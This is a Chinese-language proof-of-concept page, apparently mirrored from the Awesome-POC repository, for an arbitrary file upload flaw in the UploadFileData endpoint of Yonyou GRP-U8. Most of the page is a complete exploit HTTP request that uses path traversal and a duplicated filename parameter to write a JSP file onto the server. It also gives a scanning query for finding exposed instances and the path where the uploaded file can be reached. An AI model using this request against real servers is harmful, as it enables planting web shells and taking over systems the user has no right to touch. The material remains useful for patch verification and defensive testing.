mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
53 lines
1.4 KiB
Markdown
53 lines
1.4 KiB
Markdown
|
# 用友 GRP-U8 UploadFileData 任意文件上传漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
用友 GRP-U8
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="用友-GRP-U8"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
验证POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
|
|||
|
|
Content-Type: multipart/form-data
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
|
|||
|
|
|
|||
|
|
------WebKitFormBoundary92pUawKc
|
|||
|
|
Content-Disposition: form-data; name="myFile";filename="test.jpg"
|
|||
|
|
|
|||
|
|
<% out.println("123");%>
|
|||
|
|
------WebKitFormBoundary92pUawKc--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
访问写入的文件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/R9iPortal/debugg.jsp
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|